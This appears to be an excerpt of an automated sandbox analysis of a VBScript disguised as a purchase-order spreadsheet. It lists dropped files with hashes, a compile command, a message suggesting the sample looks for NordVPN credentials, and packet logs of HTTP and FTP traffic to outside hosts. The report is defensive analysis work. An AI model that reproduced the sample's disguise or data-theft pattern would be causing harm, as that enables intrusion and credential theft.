SHA-512:	55B8F968D4044D6961C5A0A48E193C8CE3CBBEAD568A60D2D991BDCD968C693729288BB29EFE9F5A70132D0CDE33875FDE97DD7A1D74E51202A60E21F17511A5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...F..c...........!.................'... ...@....... ....................................@..................................&..W....@.......................`....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......P ..t...........................................................BSJB............v4.0.30319......l.......#~..T.......#Strings............#US.........#GUID.......p...#Blob...........G.........%3....................%.......................................3.,...............S.4.................................... :............ L............ W............ j............ {............ ..#.......... ............. ............. ..'.......... ..1.......... ............. ........

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.out

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (445), with CRLF, CR line terminators
Category:	modified
Size (bytes):	866
Entropy (8bit):	5.31878829668306
Encrypted:	false
SSDEEP:	12:xKqR37Lvkmb6Km5MfWZE75MTKaxK4BFNn5KBZvK2wo8dRSgarZucvW3ZDPOU:Aqd3ka6KmXE7aKax5DqBVKVrdFAMBJTH
MD5:	598DEDC2D4A52EA0EB3A1B60A9C9598E
SHA1:	7B6AB880BAB1FD92B78F4EEDE77E7B47E9E7B2E9
SHA-256:	E1094BEB4B40ABBF826AA1549999F7482D93D3222BE8C13A4424E6F6BFC5C665
SHA-512:	1E632D8B7A5359AEAAB741EDC7E0BE72EFA66D98CB08F31B0E7155B8EF7BAE39DC090C1EF0B9BDBC8DD4B9B4FE2650A80A9727EA445DBF4D5E86B271F297B50F
Malicious:	false
Preview:	.C:\Windows\system32> "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

\Device\ConDrv

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	30
Entropy (8bit):	3.964735178725505
Encrypted:	false
SSDEEP:	3:IBVFBWAGRHneyy:ITqAGRHner
MD5:	9F754B47B351EF0FC32527B541420595
SHA1:	006C66220B33E98C725B73495FE97B3291CE14D9
SHA-256:	0219D77348D2F0510025E188D4EA84A8E73F856DEB5E0878D673079D05840591
SHA-512:	C6996379BCB774CE27EEEC0F173CBACC70CA02F3A773DD879E3A42DA554535A94A9C13308D14E873C71A338105804AFFF32302558111EE880BA0C41747A08532
Malicious:	false
Preview:	NordVPN directory not found!..

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.869402783042103
TrID:
File name:	PO-09784893 xlsx.vbs
File size:	359082
MD5:	bfa859d9ad7b23d3606ea13f525065a7
SHA1:	a1b3e395dc20bcdaa866b953a08a48d0079bace2
SHA256:	ec51e9ad23c469e82059bd497873749017e80e136053a25c7a752ffa18bf2002
SHA512:	355600deeb50415c614e324248f918e3296a9e5b5cf0c3c89a4a41b4d796c6e556f418895fcd0bd132c38cea753e56d9f731b192e9bbf780f97a95847478017d
SSDEEP:	6144:JBYNxYY6fG4TOZLzB65IL/IRL5PIQTzW42RcCUsaPw9L3x2I/rjbpHZIKK:7U6+4q5B65dRVPIQMcCUsqQU86KK
TLSH:	A8748C1CDA2527D7FD1A735AA8D10AC83DED30251F26F769ACED4279F1C21D8873A209
File Content Preview:	..'zephyrian stratagem Wigwamerne177 Alcoholisable53 PROMISINGLY ..'ACETAMID GRANULARITY Mandatet torteaus TANGFORLSENDES ALTOCUMULUS Jambarts ..'Gein187 garglers Goslet Afblsnings ENEHERREDMMERS UNDSEELIGHED TUSSENS Mrtelvrkets139 HOG besvrger stellularl

File Icon


Icon Hash:	e8d69ece869a9ec4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2022 18:48:07.643614054 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.658411026 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.774609089 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.774907112 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.776026011 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.892116070 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.907953024 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908020973 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908077002 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908129930 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908184052 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908236980 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908273935 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908273935 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908292055 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908422947 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908449888 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908478975 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908534050 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:08.908618927 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908618927 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908782005 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:08.908782005 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.024749994 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.024827957 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.024884939 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.024938107 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.024993896 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025048018 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025083065 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025083065 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025104046 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025158882 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025213957 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025250912 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025268078 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025321007 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025373936 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025423050 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025423050 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025423050 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025427103 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025481939 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025536060 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025588036 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025592089 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025679111 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025754929 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025763988 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025763988 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025763988 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.025815964 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025876999 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.025935888 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.026099920 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.026099920 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142076969 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142170906 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142232895 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142288923 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142343044 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142390013 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142390013 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142398119 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142452955 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142457962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142508984 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142563105 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142616987 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142627001 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142672062 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142726898 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142780066 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142800093 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142800093 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.142833948 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142888069 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142940998 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.142968893 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143011093 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143070936 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143124104 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143140078 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143140078 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143140078 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143193007 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143249989 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143304110 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143306017 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143357038 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143410921 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143464088 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143517971 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143524885 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143524885 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143524885 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143524885 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143570900 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143625021 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143678904 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143733978 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143785954 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143826008 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143826962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143826962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.143840075 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143893003 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143945932 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.143989086 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144000053 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144054890 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144109964 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144160032 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144160032 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144164085 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144160032 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144217968 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144274950 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.144366980 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144501925 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.144501925 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.260776997 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.260858059 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.260920048 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.260974884 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261029005 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261082888 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261136055 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261169910 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261169910 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261190891 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261246920 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261302948 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261333942 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261333942 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261358976 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261418104 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261473894 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261509895 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261509895 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261528969 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261584044 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261636972 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261677980 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261678934 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261691093 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261746883 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261796951 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261796951 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261801004 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261856079 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261913061 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.261965036 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261965036 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.261967897 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262023926 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262075901 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262130022 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262139082 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262139082 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262183905 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262239933 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262294054 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262305975 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262305975 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262348890 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262403011 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262455940 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262509108 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262530088 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262530088 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262530088 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262564898 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262620926 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262675047 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262697935 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262728930 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262784004 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262837887 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.262866974 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262866974 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262867928 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.262892008 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263011932 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263035059 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263042927 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263180017 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263180017 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263204098 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263211012 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263212919 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263215065 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263269901 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263324022 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263350964 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263379097 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263433933 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263487101 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263540030 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263547897 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263595104 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263652086 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263664961 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263664961 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263705969 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263761044 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263813972 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263843060 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263843060 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.263869047 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263923883 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.263978004 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264005899 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264005899 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264033079 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264087915 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264141083 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264175892 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264175892 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264197111 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264251947 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264333010 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264364958 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264364958 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264434099 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264488935 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264542103 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264560938 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264561892 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264595985 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264648914 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264702082 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264731884 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264731884 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264755011 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264808893 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264861107 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264905930 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264905930 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.264914036 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.264969110 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.265022993 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.265069962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265069962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265077114 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.265130997 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.265187025 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.265242100 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265242100 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265427113 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265427113 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.265592098 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.381731987 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.381846905 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.381915092 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.381920099 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.381970882 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382025003 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382081032 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382134914 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382188082 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382205009 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382205963 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382241964 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382296085 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382353067 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382369041 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382369041 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382411957 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382467031 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382519960 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382555008 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382555962 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382575035 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382630110 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382674932 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:09.382707119 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382707119 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382852077 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:09.382852077 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:14.145746946 CET	80	49816	192.185.145.188	192.168.11.20
Nov 28, 2022 18:48:14.145993948 CET	49816	80	192.168.11.20	192.185.145.188
Nov 28, 2022 18:48:18.907668114 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:18.940263033 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:18.940432072 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:18.973593950 CET	21	49819	185.31.121.136	192.168.11.20
Nov 28, 2022 18:48:18.973908901 CET	49819	21	192.168.11.20	185.31.121.136
Nov 28, 2022 18:48:19.005987883 CET	21	49819	185.31.121.136	192.168.11.20
